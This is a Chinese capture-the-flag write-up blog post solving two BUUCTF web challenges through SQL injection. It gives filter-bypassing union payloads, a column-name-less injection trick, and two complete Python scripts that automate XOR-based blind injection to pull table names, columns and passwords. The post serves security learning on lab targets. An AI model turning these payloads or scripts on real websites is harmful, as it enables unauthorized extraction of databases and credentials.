[BT]BUUCTF刷题第24天(4.27)

第24天(共2题)

Web

[SWPU2019]Web1

在这里插入图片描述

首页是一个登录网页,这里目前的登录框是没有发现SQL漏洞的,因此先尝试注册个账号

但是要注意admin这个账号被注册过了,我们是无法注册的,只能随便注册其他的账号

在这里插入图片描述

然后用注册好的账号登陆进来可以看到申请发布广告的选择,我们发一条1'

在这里插入图片描述
可以看到成功发布了,点击广告详情

在这里插入图片描述

说明这里是存在SQL注入漏洞的

通过测试,or空格#等都被过滤了

这里给出解决方案:

order by 用 group by 代替

空格 用 /**/ 代替

# 用 ,'数字 代替

接下来第一步就是查看列数:

1' order by 22#

替换后

1'/**/group/**/by/**/22,'3

此时正常回显,但是列数为23时返回:

在这里插入图片描述

说明只有22列,接下来是看回显点在哪里:

-1' union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

替换后

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述

回显点是23

由于information_schema.tables含有or字样被过滤了,所以这里要使用mysql.innodb_table_stats替代,但是因为这个表查不了列名,所以要用到新的知识点:无列名注入

先来查一下表名:

-1' union select 1,(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

将当前库下所有表名拼接后在回显点2显示
替换后

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

在这里插入图片描述

得到两个表:adsusers

接下来取值

-1' union select 1,(select group_concat(b) from (select 1,2,3 as b union select * from users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

这里着重讲一下中间部分:

(select group_concat(b) from (select 1,2,3 as b union select * from users)a)

首先(select 1,2,3 as b union select * from users)a

意思是查询1,2,3后联合查询users表里的所有列内容,将两者拼接在一起返回一个别名为a的新表(同时将第3列也设置别名为b,因为如果直接用3来得到第3列的数据的话需要把3用反引号括起来,但是反引号也过滤了,用字母就不需要反引号)

也就是会返回一个列名分别是1,2,3(就相当于给users表设置了新的数字列名)
然后第一行数据也是1,2,3
但是后面跟着的所有行都是users表对应的内容了

然后我们就可以用这个数字列名获取对应列的数据了

那为什么知道users表里有3列呢,用下面这个判断(有个1就有几列)

-1'/**/union/**/select/**/1,(select/**/group_concat(1)/**/from/**/users),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

替换后

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

成功拿到flag

在这里插入图片描述

[极客大挑战 2019]FinalSQL

在这里插入图片描述
网站上分别有5个按钮,前面四个都说flag不在那,第五个显示:

在这里插入图片描述

并且注意到URL中的id随按钮点击而变化,目前值是5

id设为6显示:

在这里插入图片描述
id设为07及以上的数字都显示:

在这里插入图片描述

因此这里可以用到异或盲注,也就是:

1^0 = 1
1^1	= 0

也就是

1^(true) = 0		ERROR!!!
1^(false) = 1		NO! Not this! Click others~~~

然后就可以用类似这样的语句获取信息

?id=1^(length(database())); 

根据异或值:

1^0	1
1^1	0
1^2 3
1^3	2
1^4	5
1^5 4
1^6 7
1^7 6

以及每个页面对应的返回内容判断异或右边的值,比如上面那句返回的是

在这里插入图片描述

说明数据库名字是4位(因为这个页面是id=5出现的)

同理,就可以得到对应的表名、列名以及它们具体的内容了(通过一个个遍历)

这里给出一个相对完善但耗时的大佬的代码:

import requests,re,time
# 火狐浏览器UA
data = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/117.0"
}

# 错误提示集--短集合
arr = ['NO!','yingyingying','Ohhh','OK OK I','You are','Clever!']

# 专门搞传输的模块
def get_url(url,data):
    req = requests.get(url, headers=data)
    html_content = req.text
    # 正则表达式
    pattern = r"<h1.*?>(.*?)</h1>"
    matches = re.findall(pattern, html_content)
    return matches

# ascii码的碰撞单元
def ascii_get(url,url_edit,num,s):
    stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""
    for i in stt:
        time.sleep(0.1)
        urls = url + url_edit.format(num + 1, ord(i))
        matches = get_url(urls, data)
        # print(matches,num+1,i,urls)
        try:
            if matches == []:
                continue
            if 'ERROR' in matches[0]:
                s += i
                # print(s)
                break
            if '414 Request-URI Too Large' in matches[0]:
                # print(n, i, strs, urls)
                print(url)
        except:
            pass
    return s

def get_data_len(url,data,url_edit,n=1):
    urls = url+url_edit
    value = get_url(urls,data)
    if n==1:
        for i in arr:
            if i in value[0]:
                return arr.index(i)
        return value
    elif n==2:
        pass

def get_data_name(url,url_edit,n,data_name_input):
    urls = ''
    data_name = ''
    # 根据获取的数据库名字的长度输出数据库名字
    s = ''
    stt = """ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz[\]^_`{|}~ !"#$%&'()*+,-./0123456789:;<=>?@"""
    # for循环读取数据库库名
    for num in range(n):
        original = s
        s = ascii_get(url,url_edit,num,s)
        print('{}:'.format(data_name_input),s)
        if s == original:
            break
    return s

def get_flag(flag_str):
    regular_expression = '.*?flag{(.*?)}.*?'
    matches = re.findall(regular_expression, flag_str)[0]
    print('你需要的flag为:flag{'+matches+"}")

def url_edit(url):
    if url[-1] == '/':
        return url[:-1]
    return url

if __name__ == '__main__':
    url = input('请输入一个合法的url(不需要带参数,形如:http://xxx.xxx.xxx:81)\n不正确运行出错就是你自己的事情喽:\n')
    url = url_edit(url)

    # 获取当前数据库的名字的长度
    url_edit = '/search.php?id=1^(length(database()));'
    data_len = get_data_len(url,data,url_edit)
    print('数据库名字的长度:',data_len)
    if data_len == ['404']:
        print('你的靶场已关闭,状态码:404')
        exit()
    # 获取当前数据库名
    url_edit = '/search.php?id=1^(ord(SUBSTRING(database(),{},1))={});'
    data_name = get_data_name(url,url_edit,data_len,'数据库名')
    # 根据数据库爆表
    print('即将爆破出数据库'+data_name+'的表:')
    url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(table_name),{},1)))FROM(information_schema.tables)where(table_schema=database()))={});'
    table_name = get_data_name(url,url_edit,1000,'表名').split(',')
    # 爆列名
    print('即将爆破的表:',table_name[0])
    url_edit = '/search.php?id=1^((SELECT(ord(SUBSTRING(GROUP_CONCAT(column_name),{},1)))FROM(information_schema.columns)where(table_name="'+table_name[0]+'"))={});'
    column_name = get_data_name(url,url_edit,1000,'列名').split(',')

    # 爆值
    print('即将被爆破的列:',column_name[-1])
    table_names = data_name + '.' + table_name[0]
    url_edit = '/search.php?id=1^((select(ord(SUBSTRING(GROUP_CONCAT('+ column_name[-1] +'),{},1)))from('+table_names+'))={});'
    list_val = get_data_name(url,url_edit,1000,'列值')
    get_flag(list_val)

可以用这个代码获取表名、列名等数据后用下面的代码获取列里的具体值(因为上面这段代码获取具体值比较耗时):

import requests
 
url = "http://6505d1c1-e5db-4926-90ac-6999ce62fbdf.node5.buuoj.cn:81/search.php"
flag = ''
 
def payload(i, j):
    sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
    data = {"id": sql}
    r = requests.get(url, params=data)
    # print (r.url)
    if "Click" in r.text:
        res = 1
    else:
        res = 0
    return res
 
def exp():
    global flag
    for i in range(1, 10000):
        print(i, ':')
        low = 31
        high = 127
        while low <= high:
            mid = (low + high) // 2
            res = payload(i, mid)
            if res:
                low = mid + 1
            else:
                high = mid - 1
        f = int((low + high + 1)) // 2
        if (f == 127 or f == 31):
            break
        # print (f)
        flag += chr(f)
        print(flag)
exp()
print('flag=', flag)

成功拿到flag

在这里插入图片描述

  • 15
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值